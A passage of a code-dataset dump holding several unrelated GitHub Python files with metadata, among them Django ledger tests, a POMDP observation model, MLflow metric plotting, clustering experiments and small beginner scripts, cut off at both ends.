vs naive\")\n print(\"close?\", check_close(out_naive, out_faster))\n print(\"MSE\", mse(out_naive, out_faster))\n print(\"MAE\", mae(out_naive, out_faster))\n\n\nif __name__ == \"__main__\":\n np.random.seed(0)\n\n bench_against_baselines()\n","repo_name":"haruishi43/equilib","sub_path":"tests/grid_sample/numpy/bilinear.py","file_name":"bilinear.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"47"} +{"seq_id":"6045165603","text":"\r\n#########################################\r\n# build a basic calculator\r\n\r\nnum1 = input(\"Enter a number: \")\r\nnum2 = input(\"Enter another number: \")\r\n# result = int(num1) + int(num2)\r\nresult2 = float(num1) + float(num2)\r\n# print(result)\r\nprint(result2)\r\n\r\n##########################################\r\n# Mad libs\r\n\r\ncolor = input(\"enter a colour: \")\r\nplural_noun = input(\"enter a plural noun: \")\r\ncelebrity = input(\"enter a celebrity: \")\r\n\r\nprint(\"Roses are \" + color)\r\nprint(plural_noun + \" are blue\")\r\nprint(\"I love \" + celebrity)\r\n\r\n##########################################\r\n### building a better calculator\r\n\r\nnum1 = float(input(\"Enter first number: \"))\r\nop = input(\"Enter operator: \")\r\nnum2 = float(input(\"Enter second number: \"))\r\n\r\nif op == \"+\":\r\n print(num1+num2)\r\nelif op == \"-\":\r\n print(num1-num2)\r\nelif op == \"/\":\r\n print(num1/num2)\r\nelif op == \"*\":\r\n print(num1*num2)\r\nelse:\r\n print(\"invalid operator\")","repo_name":"karafede/pyhon_stuff","sub_path":"basic calculator.py","file_name":"basic calculator.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11360861156","text":"from bs4 import BeautifulSoup\nimport requests \n \nsource =requests.get('https://markmumba.github.io/apple-music/').text\n\nsoup =BeautifulSoup(source ,'lxml')\n\nfeatures =soup.find('div', id='offer')\n\n #print (features.prettify())\n\nheadline =features.h3.text\nprint(headline)\n\n\n ","repo_name":"markmumba/web-scraping","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16532364487","text":"import pomdp_py\n\n\nclass SpatialLanguageObservationModel(pomdp_py.ObservationModel):\n \"\"\"\n Note that this observation model is not designed\n to be sampled from; it is meant to output a probability\n for a spatial language given a state.\n \"\"\"\n def __init__(self, symbol_map=None):\n # Maps from spatial language observation to a tuple\n # where the first element is an \"oo_belief\" and the\n # second element is a dictionary of metadata generated\n # during interpreting the spatial language observation.\n #\n # An \"oo belief\" is a dictionary that maps an object\n # symbol (e.g. \"GreenCar\") to another dict {loc -> prob}\n # where 'loc' is a location on the map and 'prob' is\n # a float between 0.0 and 1.0\n self._slu_cache = {}\n self._objid = None\n self._symbol_map = symbol_map # maps from object symbol to ID\n\n def set_object_id(self, objid):\n self._objid = objid\n\n def probability(self, splang_observation, next_state, action=None):\n \"\"\"\n Args:\n splang_observation (SpatialLangObservation)\n next_state (pomdp_py.OOState)\n objid (optional): if specified, then the probability is\n for only the part of the spatial langauge that is\n related to the given object.\n \"\"\"\n if splang_observation not in self._slu_cache:\n print(\"Interpreting spatial language...\", end='')\n oo_belief_by_symbol, metadata = self.interpret(splang_observation)\n print(\"done\")\n if self._symbol_map is not None:\n oo_belief = self._map_symbols_to_ids(oo_belief_by_symbol)\n else:\n print(\"WARNING: spatial language interpretation result indexed\"\n \"by object symbol instead of id\")\n oo_belief = oo_belief_by_symbol\n self._slu_cache[splang_observation] = (oo_belief, metadata)\n oo_belief, _ = self._slu_cache[splang_observation]\n if self._objid is not None:\n if self._objid in oo_belief:\n # This is useful of the OOBelief is updated individually\n # by objects.\n if self._objid not in next_state.object_states:\n raise ValueError(f\"objid {objid} is not a valid object\")\n loc = next_state.s(self._objid).loc\n return oo_belief[self._objid][loc]\n else:\n return 1.0\n else:\n pr = 1.0\n for objid in oo_belief:\n if objid not in next_state.object_states:\n raise ValueError(\"Spatial language interpretation result\"\n \"contains description of objects not in the state.\")\n loc = next_state.s(objid).loc\n pr *= oo_belief[objid][loc]\n return pr\n\n def _map_symbols_to_ids(self, oo_belief):\n return {self._symbol_map[objsymbol]: oo_belief[objsymbol]\n for objsymbol in oo_belief}\n\n def interpret(self, splang_observation):\n \"\"\"Given a spatial language observation (splang_observation)\n return a matrix belief distribution of the objects\n mentioned in the language on top of the map.\n\n Returns:\n A tuple where the first element is an \"oo_belief\" and the second\n element is a dictionary of metadata generated during interpreting\n the spatial language observation.\n\n An \"oo belief\" is a dictionary that maps an object id to another\n dict {loc -> prob} where 'loc' is a location on the map and 'prob'\n is a float between 0.0 and 1.0\n \"\"\"\n raise NotImplementedError\n","repo_name":"zkytony/genmos_object_search","sub_path":"genmos_object_search/src/sloop/observation_model.py","file_name":"observation_model.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"} +{"seq_id":"23584382407","text":"import logging\nimport os\nimport pickle\nfrom pathlib import Path\n\nimport click\nimport shutil\nimport matplotlib.pyplot as plt\nimport mlflow\nimport numpy as np\nimport pandas as pd\nfrom dotenv import find_dotenv, load_dotenv\nfrom sklearn.utils.class_weight import compute_sample_weight\nfrom sklearn.metrics import (accuracy_score, f1_score, precision_recall_curve,\n precision_score, recall_score, roc_curve)\n\n\nTHRESHOLD = 0.5\n\ndef get_last_run_id(exp_name):\n exps = mlflow.search_runs(\n experiment_names=[exp_name])\n last_run = exps.sort_values(by='end_time').iloc[-1]\n return last_run.run_id\n\n\ndef make_summary_metrics(data):\n '''generate 4 basic metrics (acc, prec, recall, f1)\n for all polymers'''\n scores = accuracy_score, precision_score, recall_score, f1_score\n score_names = [\"accuracy\", \"precision\", \"recall\", \"f1\"]\n metrics_summary = {}\n for score, name in zip(scores, score_names):\n metrics = {}\n for seqlen in data:\n samples = data[seqlen]['pred']['sample']\n # since there might be very different number of spectra\n # per every sample, we need to take this into account\n weights = compute_sample_weight(\"balanced\", samples)\n pred = data[seqlen]['pred'].drop(columns=\"sample\")\n true = data[seqlen]['true'].drop(columns=\"sample\")\n metrics[seqlen] = [score(true[poly], pred[poly] > 0.5, sample_weight=weights)\n for poly in true.columns]\n metr_df = pd.DataFrame(metrics).T\n metr_df.columns = true.columns\n metrics_summary[name] = metr_df\n pd.concat(metrics_summary, axis=1).to_excel(\"results/metrics_summary.xlsx\")\n mlflow.log_artifacts\n for metric in metrics_summary:\n metrics_summary[metric].plot()\n plt.xlabel(\"Sequence length\")\n plt.ylabel(metric)\n plt.savefig(f\"results/plots/{metric}.png\", dpi=200)\n return metrics_summary['f1'].loc[max([s for s in data])].mean()\n\n\ndef make_average_pred(data):\n \"\"\"generate averaged predictions\"\"\"\n for seqlen, d in data.items():\n sample = d['pred']['sample']\n binarized = (d['pred'].drop(columns='sample') > THRESHOLD)\n av_preds = binarized.groupby(sample).agg(\"mean\")\n av_preds.to_excel(f\"results/av_preds/average_preds_{seqlen}.xlsx\")\n\n\ndef soft_accuracy(true, pred):\n '''soft accuracy: any overlapping class\n hard accuracy: all classes must overlap\n '''\n return (true == pred).mean().mean()\n\n\ndef make_acc_per_sample(data, mapping):\n \"\"\"calculates accuracy for every sample individually\"\"\"\n acc_summary = {}\n for seqlen in data:\n pred = data[seqlen]['pred']\n true = data[seqlen]['true']\n acc_per_sample = {}\n for (sample1, t), (sample2, p) in zip(true.groupby(\"sample\"), pred.groupby(\"sample\")):\n if sample1 != sample2:\n raise ValueError()\n acc_per_sample[sample1] = soft_accuracy(t.drop(columns='sample'),\n p.drop(columns='sample') > THRESHOLD)\n\n acc_summary[seqlen] = pd.Series(acc_per_sample)\n final_acc = pd.DataFrame(acc_summary)\n final_acc['sample'] = pd.Series(final_acc.index, index=final_acc.index)\\\n .apply(lambda x: mapping[x] if x in mapping else None)\n final_acc.to_excel(\"results/acc_per_sample.xlsx\")\n return acc_summary[max([s for s in data])].mean()\n\n\ndef generate_curves(data, curve_function):\n metrics = {}\n for seqlen in data.keys():\n samples = data[seqlen]['pred']['sample']\n weights = compute_sample_weight(\"balanced\", samples)\n pred = data[seqlen]['pred'].drop(columns=\"sample\")\n true = data[seqlen]['true'].drop(columns=\"sample\")\n newx = np.linspace(0, 1, 512)\n df = pd.DataFrame(newx, columns=['x'])\n for poly in true.columns:\n x, y = curve_function(true[poly], pred[poly], sample_weight=weights)[:2]\n newy = np.interp(newx, x, y)\n df[poly] = newy\n metrics[seqlen] = df\n return metrics\n\n\ndef make_curves(data):\n for curve_fcn, name in zip([roc_curve, precision_recall_curve], ['roc', \"precrec\"]):\n for seqlen, curves in generate_curves(data, curve_fcn).items():\n curves.plot(x='x')\n plt.title(name)\n plt.savefig(f\"results/plots/{name}_{seqlen}.png\", dpi=200)\n curves.to_excel(f\"results/curvedata/{name}_{seqlen}.xlsx\")\n\n\n@click.command()\n@click.argument('input_filepath', type=click.Path(exists=True))\n@click.option('--run-id', required=False, type=str, default=None)\n@click.option(\"--lod\", is_flag=True, help=\"Visualize LOD\")\ndef main(input_filepath, run_id=None, lod=False):\n if lod:\n exp_name = \"torch-silver-foam-lod\"\n else:\n exp_name = \"torch-silver-foam-multilabel-classification\"\n if run_id is None:\n run_id = get_last_run_id(exp_name)\n\n path = f'runs:/{run_id}/eval/summary_per_slen.pickle'\n newpath = mlflow.artifacts.download_artifacts(path)\n with open(newpath, \"rb\") as f:\n data = pickle.load(f)\n\n with open(f\"{input_filepath}/mapping_dict.pkl\", 'rb') as f:\n mapping = pickle.load(f)\n\n prfx = os.path.commonprefix(list(mapping.values()))\n mapping = {k: v.replace(prfx, \"\") for k, v in mapping.items()}\n\n shutil.rmtree(\"results\", ignore_errors=True)\n os.makedirs(\"results/plots\", exist_ok=True)\n os.makedirs(\"results/curvedata\", exist_ok=True)\n os.makedirs(\"results/av_preds\", exist_ok=True)\n\n micro_acc = make_acc_per_sample(data, mapping)\n make_average_pred(data)\n make_curves(data)\n total_f1 = make_summary_metrics(data)\n\n mlflow.start_run(run_id=run_id)\n mlflow.log_artifacts(\"results\", \"results\")\n mlflow.log_metric(\"micro_acc\", micro_acc)\n mlflow.log_metric(\"total_f1\", total_f1)\n mlflow.end_run()\n\n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n # not used in this stub but often useful for finding various files\n project_dir = Path(__file__).resolve().parents[2]\n\n # find .env automagically by walking up directories until it's found, then\n # load up the .env entries as environment variables\n load_dotenv(find_dotenv())\n main()\n","repo_name":"Trel725/SpecATNet","sub_path":"src/visualization/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27605004508","text":"import pytest\n\nfrom django.test import override_settings\n\nfrom account_management.service import record_balance\nfrom account_management.models import Ledger\nfrom frontend.forms import AccountManagementAddAccountForm\n\npytestmark = [\n pytest.mark.django_db\n]\n\n\n@pytest.mark.usefixtures(\"add_accounts_to_ledger\", \"create_cash_accounts\") \nclass TestAccountModel: \n def test_account_create_balance_entry(self, cursor, ledger): \n record_balance(ledger, 100, debit_amount=1050, \n description=\"being collections from cash register\" )\n \n cash_account = record_balance(ledger, 100, credit_amount=950, description=\"being payment of invoice-XXX\")\n\n cursor.execute(\n \"select debit_amount, credit_amount, debit_balance, description \" \n \"from account_management_balance \"\n \"where account_id = %s \"\n \"order by date desc\", [cash_account.id])\n result = cursor.fetchall()\n \n assert pytest.approx(result) == [\n (0, 950, 100, \"being payment of invoice-XXX\"), \n (1050, 0, 1050, \"being collections from cash register\")\n ]\n\n def test_that_accounts_can_be_associated_with_a_control_account(self, cursor, ledger): \n control_account = ledger.get_account(number=100) \n bank_account1 = ledger.get_account(number=101)\n bank_account2 = ledger.get_account(number=102)\n \n control_account.add_subaccounts(bank_account1, bank_account2)\n\n cursor.execute(\"select number, description from account_management_account \"\n \"where control_id = %s \", [control_account.id])\n\n result = cursor.fetchall()\n assert result == [(101, \"Cash in Bank 1\" ), (102, \"Cash in Bank 2\")]\n\n def test_that_can_add_a_control_account_to_an_account(self, cursor, ledger): \n account = ledger.get_account(number=101) \n account.categorize(number=100) \n\n\n cursor.execute(\"select number, description from \"\n \"account_management_account \"\n \"where control_id = ( \" \n \" select id from account_management_account \" \n \" where number=100 and ledger_id = %s)\", \n [ledger.id]) \n\n result = cursor.fetchall()\n assert result == [(101, \"Cash in Bank 1\")]\n\n\n@pytest.mark.usefixtures('init_john', 'john_adds_ledger', 'login_john')\n@pytest.mark.parametrize('url,payload', [\n ('/api/account-management/ledger/{ledger_id}/account', {\n 'number': 101, \n 'name': 'Cash in Bank', \n \"description\": \"Description\", \n \"notes\": \"Cash deposited in Bank A.\", \n 'category': \"AS\", \n 'is_control': False, \n \"debit_account\": True}, \n ), \n ('/api/account-management/ledger/{ledger_id}/account', {\n \"number\": 100, \n \"name\": \"Current assets\", \n \"description\": \"description\", \n \"notes\": \"Assets than can be liquidated in one year\", \n \"category\": 'AS', \n \"is_control\": True, \n \"debit_account\":True\n })\n])\nclass TestAccountPostEndpoint: \n def post_response(self, client, ledger, url, payload): \n response = client.post(url.format(ledger_id=ledger.id), data=payload, \n content_type='application/json') \n return response\n\n def execute_sql_statement(self, cursor, account_number, ledger_id, username): \n cursor.execute(\"select * from account_management_account \"\n \" join account_management_ledger on account_management_account.ledger_id = account_management_ledger.id \"\n \" where account_management_account.number = %s \" \n \" and ledger_id = %s \"\n \" and user_id = (select id from registration_user where username = %s)\", [account_number, ledger_id, username] )\n\n return cursor.fetchall() \n\n def test_add_account_view_returns_ok_status(self,url, payload, client, ledger): \n response = self.post_response(client, ledger, url, payload)\n assert response.status_code == 200 \n\n def test_add_account_view_adds_resource_to_db(self,url,payload, client, ledger, cursor): \n response = self.post_response(client, ledger, url, payload)\n result = self.execute_sql_statement(cursor, payload['number'],ledger.id, 'john@example.com')\n\n assert len(result) != 0\n\n def test_that_cannot_make_unauthenticated_api_calls(self, url, payload, client, ledger): \n client.logout()\n response = self.post_response(client, ledger, url, payload)\n \n assert response.status_code == 401\n \n@pytest.mark.usefixtures(\n \"create_current_account\",\n \"init_john\", \n \"john_adds_ledger\",\n \"login_john\" ) \n@pytest.mark.parametrize('url,payload', [\n ('/api/account-management/ledger/{ledger_id}/account/{account_id}', {\n 'number': 100, \n 'name': 'Current Assets', \n 'description': 'description', \n 'notes': 'notes', \n 'category': 'AS', \n 'is_control': True, \n 'debit_account': True, \n 'subaccounts': [\n {\n 'number': 101, \n \"name\": \"Cash in Bank A\", \n \"description\": \"Deposits in Bank A\", \n \"notes\": \"notes\", \n \"category\": \"AS\", \n \"is_control\": False, \n \"debit_account\": True, \n }, \n {\n \"number\": 102, \n \"name\": \"Petty Cash\", \n \"description\": \"description\", \n \"notes\": \"notes\", \n \"category\": \"AS\", \n \"is_control\": False, \n \"debit_account\": True\n }\n ]\n })\n])\nclass TestAccountPutEndpoint: \n def put_response(self, client, ledger, url, payload): \n control_account = ledger.get_account(payload['number']) \n payload['id'] = control_account.id\n response = client.put(url.format(ledger_id=ledger.id, account_id=control_account.id), \n data=payload, content_type='application/json')\n return response\n\n def execute_sql_statement(self, cursor, control_account): \n cursor.execute(\"select number from account_management_account \"\n \"where control_id = ( select id from account_management_account \"\n \"where number = %s )\", [control_account.number])\n return cursor.fetchall() \n\n def test_that_classifying_accounts_returns_ok_status(self, url, payload, client, ledger): \n response = self.put_response(client, ledger, url, payload)\n \n assert response.status_code == 200\n\n def test_that_accounts_are_properly_classified_at_the_db_level(self, url, payload, client, ledger, cursor): \n self.put_response(client, ledger, url, payload) \n control_account = ledger.get_account(payload['number'])\n result = self.execute_sql_statement(cursor, control_account)\n\n assert result == [(suba['number'], ) for suba in payload['subaccounts'] ]\n\n@pytest.mark.usefixtures(\n 'create_current_account', \n 'create_cash_accounts', \n 'categorize_accounts', \n 'init_john', \n 'john_adds_ledger', \n 'login_john'\n)\n@pytest.mark.parametrize('url,expected', [\n ('/api/account-management/ledger/{ledger_id}/account?category=100', 2)\n])\nclass TestAccountGetEndpoint: \n def get_response(self, client, url, ledger): \n response = client.get(url.format(ledger_id=ledger.id))\n return response\n\n @override_settings(DEBUG=True)\n def test_that_get_request_returns_ok_response(self, url, expected, client, ledger): \n response = self.get_response(client, url, ledger)\n assert response.status_code == 200\n\n def test_that_correct_number_of_items_are_returned(self, url, expected, client, ledger): \n response = self.get_response(client, url, ledger) \n items = response.json()\n assert len(items) == expected\n\n\n\n\n\n@pytest.mark.usefixtures('init_john', 'john_adds_ledger', 'login_john')\nclass TestAccountManagementFrontend:\n def get_response(self, client, ledger): \n client.login(username='john@example.com', password='password')\n response = client.get(f'/ledger/{ledger.id}/account')\n return response \n\n def test_add_account_page_loads(self, client, ledger): \n response = self.get_response(client, ledger)\n assert response.status_code == 200 \n\n def test_template_renders_with_correct_context(self, client, ledger): \n response = self.get_response(client, ledger)\n context = response.context\n assert isinstance(context['form'], AccountManagementAddAccountForm) \n assert isinstance(context['ledger'], Ledger)\n assert 'account_management/add_account_page.html' in [template.name for template in response.templates]\n\n","repo_name":"UliangAppCompany/money-wise","sub_path":"tests/unit_tests/test_account_managment.py","file_name":"test_account_managment.py","file_ext":"py","file_size_in_byte":8702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24403062391","text":"#vardnica\nCipari = {\"I\": 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 5000, 'M': 1000}\n\nCiparikey = Cipari.keys()\n\n#ievade\nprint(\"Ievadi skaitli: \")\n\nwhile 1 > 0:\n inp = input(\"> \")\n\n inpm = []\n for i in inp:\n inpm.append(i)\n\n pinpm = []\n for i in inpm:\n if i in Ciparikey:\n pinpm.append(i)\n\n if len(inpm) == len(pinpm):\n break\n\nprint(inpm)\n\n#vertiegusana\nfor i in inpm:\n Ciparival = Cipari.get(i)\n print(Ciparival)\n\n#for i in inpm:\n","repo_name":"MpRtato/Program-2","sub_path":"dictinary.py","file_name":"dictinary.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"72384357581","text":"import numpy\nimport matplotlib.pyplot as plt\nfrom apgl.data.Standardiser import Standardiser\nfrom apgl.data.FeatureGenerator import FeatureGenerator\nfrom apgl.graph.SparseGraph import SparseGraph\nfrom apgl.graph.GeneralVertexList import GeneralVertexList\nfrom sklearn.cluster import KMeans\n\"\"\"\nTest the error bound for the clustering process. \n\"\"\"\nk = 3\nnumVertices = 15\n\ngraph1 = SparseGraph(GeneralVertexList(numVertices))\ncluster1 = numpy.array([[0,1], [0,2], [1,3], [2,3], [3,4], [4,5]])\ngraph1.addEdges(cluster1)\ncluster2 = numpy.array([[5,7], [5,8], [7,9], [8,9], [6,7]])\ngraph1.addEdges(cluster2)\ncluster3 = numpy.array([[6,10], [10,11], [10,12], [11,12], [11,13], [12,14]])\ngraph1.addEdges(cluster3)\n\ngraph2 = SparseGraph(GeneralVertexList(numVertices))\ncluster1 = numpy.array([[0,1], [0,2], [1,3], [2,3], [3,4], [0,3],[4,5]])\ngraph2.addEdges(cluster1)\ncluster2 = numpy.array([[5,7], [5,8], [7,9], [8,9], [6,7]])\ngraph2.addEdges(cluster2)\ncluster3 = numpy.array([[6,10], [10,11], [10,12], [11,12], [11,13], [12,14]])\ngraph2.addEdges(cluster3)\n\nL1 = graph1.normalisedLaplacianSym()\nL2 = graph2.normalisedLaplacianSym()\n\nl1, U = numpy.linalg.eig(L1)\ninds = numpy.argsort(l1)[0:k]\nU = U[:, inds]\nU = Standardiser().normaliseArray(U.T).T\n\nl2, V = numpy.linalg.eig(L2)\ninds = numpy.argsort(l2)[0:k]\nV = V[:, inds]\nV = Standardiser().normaliseArray(V.T).T\n\nkmeans = KMeans(k)\nkmeans.fit(U)\nC = FeatureGenerator().categoricalToIndicator(numpy.array([kmeans.labels_]).T, numpy.array([0])) \n\nkmeans.fit(V)\nD = FeatureGenerator().categoricalToIndicator(numpy.array([kmeans.labels_]).T, numpy.array([0]))\n\n#We know U and C also a pertubation delta\ndelta = (numpy.linalg.norm(U)**2)/2\n\nCTilde = C.dot(numpy.diag(numpy.sum(C, 0)**-1))\nDTilde = D.dot(numpy.diag(numpy.sum(D, 0)**-1))\n\nM = CTilde.T.dot(U)\nN = DTilde.T.dot(V)\n\n#print(numpy.linalg.norm(U - V)**2)\n\n#Want to construct a Z matrix\nZ = numpy.zeros((M.shape[0], M.shape[0]))\n\nfor i in range(M.shape[0]):\n for j in range(M.shape[0]):\n if i != j:\n Z[i, j] = numpy.linalg.norm(M[i, :] - N[j, :])**2\n\nprint(Z)\nprint(numpy.sum(Z))\n\n#Now compute ||Z||_1 indirectly\n\n\nZ2 = 0\nfor i in range(C.shape[1]):\n Z2 += 1/(C[:, i].sum()) + 1/(D[:, i].sum())\nprint(Z2)\nZ2 *= (k-1)\nZ2 += 2*numpy.trace(CTilde.T.dot(U).dot(V.T).dot(DTilde))\nZ2 += -2*numpy.sum(CTilde.T.dot(U).dot(V.T).dot(DTilde))\nprint(Z2)\n\nprint(numpy.trace(CTilde.T.dot(U).dot(U.T).dot(CTilde)))\n\nZ3 = (k-1)*numpy.trace(CTilde.T.dot(U).dot(U.T).dot(CTilde))\nZ3 += -2*numpy.sum(CTilde.T.dot(U).dot(V.T).dot(DTilde))\nZ3 += (k-1)*numpy.trace(DTilde.T.dot(V).dot(V.T).dot(DTilde))\nZ3 += 2*numpy.trace(CTilde.T.dot(U).dot(V.T).dot(DTilde))\n\nprint(Z3)\n\n#plt.scatter(U[0:numExamplesPerCluster, 0], U[0:numExamplesPerCluster, 1], c='b')\n#plt.scatter(U[numExamplesPerCluster:, 0], U[numExamplesPerCluster:, 1], c='r')\n#plt.show()","repo_name":"charanpald/wallhack","sub_path":"wallhack/clusterexp/BoundExp.py","file_name":"BoundExp.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"17301890247","text":"import pandas as pd\nimport graphtools.base\nimport graphtools\nimport pygsp\nimport scprep\nimport sklearn\n\n\ndef _check_pygsp_graph(G):\n if isinstance(G, graphtools.base.BaseGraph):\n if not isinstance(G, pygsp.graphs.Graph):\n G = G.to_pygsp()\n else:\n raise TypeError(\n \"Input graph should be of type graphtools.base.BaseGraph.\"\n \" With graphtools, use the `use_pygsp=True` flag.\"\n )\n return G\n\n\ndef get_meld_cmap():\n \"\"\"Returns cmap used in publication for displaying EES.\n Inspired by cmocean `balance` cmap\"\"\"\n base_colors = [\n [0.22107637, 0.53245276, 0.72819301, 1.0],\n [0.7, 0.7, 0.7, 1],\n [0.75013244, 0.3420382, 0.22753009, 1.0],\n ]\n\n return scprep.plot.tools.create_colormap(base_colors)\n\n\ndef normalize_densities(sample_densities):\n \"\"\"\n Takes a 2-d array of sample densities from the same replicate and\n normalizes the row-sum to 1.\n \"\"\"\n if isinstance(sample_densities, pd.DataFrame):\n index, columns = sample_densities.index, sample_densities.columns\n\n norm_densities = sklearn.preprocessing.normalize(sample_densities, norm=\"l1\")\n\n if isinstance(sample_densities, pd.DataFrame):\n norm_densities = pd.DataFrame(norm_densities, index=index, columns=columns)\n return norm_densities\n","repo_name":"KrishnaswamyLab/MELD","sub_path":"meld/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"47"} +{"seq_id":"10512792775","text":"from typing import Any\n\nimport pytest\n\nfrom fluentql import GenericSQLDialect, Table\nfrom fluentql.function import (\n F,\n Add,\n Subtract,\n Multiply,\n Divide,\n Modulo,\n BitwiseAnd,\n BitwiseOr,\n BitwiseXor,\n Equals,\n NotEqual,\n LessThan,\n LessThanOrEqual,\n GreaterThan,\n GreaterThanOrEqual,\n Not,\n As,\n TableStar,\n Star,\n Like,\n In,\n Max,\n Min,\n Sum,\n Asc,\n Desc,\n)\nfrom fluentql.types import AnyColumn\n\n\ncol1 = AnyColumn(\"col1\")\ncol2 = AnyColumn(\"col2\")\ntable = Table(\"table\")\n\n\nclass FakeFunction(F):\n a: Any\n b: Any\n c: Any\n returns: Any\n\n\n@pytest.fixture\ndef dialect():\n return GenericSQLDialect()\n\n\n@pytest.mark.parametrize(\n [\"f\", \"expected\"],\n [\n (Add(col1, 10), \"col1 + 10\"),\n (Subtract(col1, 100), \"col1 - 100\"),\n (Multiply(col1, 200), \"col1 * 200\"),\n (Divide(10, 100), \"10 / 100\"),\n (Modulo(col1, 2), \"col1 % 2\"),\n (BitwiseAnd(True, False), \"true and false\"),\n (BitwiseOr(False, True), \"false or true\"),\n (BitwiseXor(False, False), \"false xor false\"),\n (Equals(col1, col2), \"col1 = col2\"),\n (NotEqual(col1, col2), \"col1 <> col2\"),\n (LessThan(col1, col2), \"col1 < col2\"),\n (LessThanOrEqual(col1, col2), \"col1 <= col2\"),\n (GreaterThan(col1, 200), \"col1 > 200\"),\n (GreaterThanOrEqual(col1, col2 * 100), \"col1 >= col2 * 100\"),\n (Not(col1 > 10), \"not (col1 > 10)\"),\n (As(col1, \"alias\"), \"col1 as alias\"),\n (TableStar(table), \"table.*\"),\n (Star(), \"*\"),\n (Like(col1, \"%abc%\"), \"col1 like '%abc%'\"),\n (In(col1, col2), \"col1 in (col2)\"),\n (Max(col1), \"max(col1)\"),\n (Min(col1), \"min(col1)\"),\n (Sum(col1), \"sum(col1)\"),\n (Asc(col1), \"col1 asc\"),\n (Desc(col1), \"col1 desc\"),\n (FakeFunction(1, 2, 3), \"fakefunction(1, 2, 3)\"),\n ],\n)\ndef test_function_compiles_correctly(f, expected, dialect):\n assert dialect.dispatch(f) == expected\n","repo_name":"RaduG/fluentql","sub_path":"tests/test_functions.py","file_name":"test_functions.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"2413902181","text":"import esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome.components import i2c, sensor, sensirion_common\n\nfrom esphome.const import (\n CONF_ID,\n CONF_BASELINE,\n CONF_ECO2,\n CONF_STORE_BASELINE,\n CONF_TEMPERATURE_SOURCE,\n CONF_TVOC,\n ICON_RADIATOR,\n DEVICE_CLASS_CARBON_DIOXIDE,\n DEVICE_CLASS_VOLATILE_ORGANIC_COMPOUNDS_PARTS,\n STATE_CLASS_MEASUREMENT,\n UNIT_PARTS_PER_MILLION,\n UNIT_PARTS_PER_BILLION,\n ICON_MOLECULE_CO2,\n ENTITY_CATEGORY_DIAGNOSTIC,\n)\n\nDEPENDENCIES = [\"i2c\"]\nAUTO_LOAD = [\"sensirion_common\"]\n\nsgp30_ns = cg.esphome_ns.namespace(\"sgp30\")\nSGP30Component = sgp30_ns.class_(\n \"SGP30Component\", cg.PollingComponent, sensirion_common.SensirionI2CDevice\n)\n\nCONF_ECO2_BASELINE = \"eco2_baseline\"\nCONF_TVOC_BASELINE = \"tvoc_baseline\"\nCONF_UPTIME = \"uptime\"\nCONF_COMPENSATION = \"compensation\"\nCONF_HUMIDITY_SOURCE = \"humidity_source\"\n\n\nCONFIG_SCHEMA = (\n cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(SGP30Component),\n cv.Required(CONF_ECO2): sensor.sensor_schema(\n unit_of_measurement=UNIT_PARTS_PER_MILLION,\n icon=ICON_MOLECULE_CO2,\n accuracy_decimals=0,\n device_class=DEVICE_CLASS_CARBON_DIOXIDE,\n state_class=STATE_CLASS_MEASUREMENT,\n ),\n cv.Required(CONF_TVOC): sensor.sensor_schema(\n unit_of_measurement=UNIT_PARTS_PER_BILLION,\n icon=ICON_RADIATOR,\n accuracy_decimals=0,\n device_class=DEVICE_CLASS_VOLATILE_ORGANIC_COMPOUNDS_PARTS,\n state_class=STATE_CLASS_MEASUREMENT,\n ),\n cv.Optional(CONF_ECO2_BASELINE): sensor.sensor_schema(\n icon=ICON_MOLECULE_CO2,\n accuracy_decimals=0,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n ),\n cv.Optional(CONF_TVOC_BASELINE): sensor.sensor_schema(\n icon=ICON_RADIATOR,\n accuracy_decimals=0,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n ),\n cv.Optional(CONF_STORE_BASELINE, default=True): cv.boolean,\n cv.Optional(CONF_BASELINE): cv.Schema(\n {\n cv.Required(CONF_ECO2_BASELINE): cv.hex_uint16_t,\n cv.Required(CONF_TVOC_BASELINE): cv.hex_uint16_t,\n }\n ),\n cv.Optional(CONF_COMPENSATION): cv.Schema(\n {\n cv.Required(CONF_HUMIDITY_SOURCE): cv.use_id(sensor.Sensor),\n cv.Required(CONF_TEMPERATURE_SOURCE): cv.use_id(sensor.Sensor),\n }\n ),\n }\n )\n .extend(cv.polling_component_schema(\"1s\"))\n .extend(i2c.i2c_device_schema(0x58))\n)\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n await cg.register_component(var, config)\n await i2c.register_i2c_device(var, config)\n\n if CONF_ECO2 in config:\n sens = await sensor.new_sensor(config[CONF_ECO2])\n cg.add(var.set_eco2_sensor(sens))\n\n if CONF_TVOC in config:\n sens = await sensor.new_sensor(config[CONF_TVOC])\n cg.add(var.set_tvoc_sensor(sens))\n\n if CONF_ECO2_BASELINE in config:\n sens = await 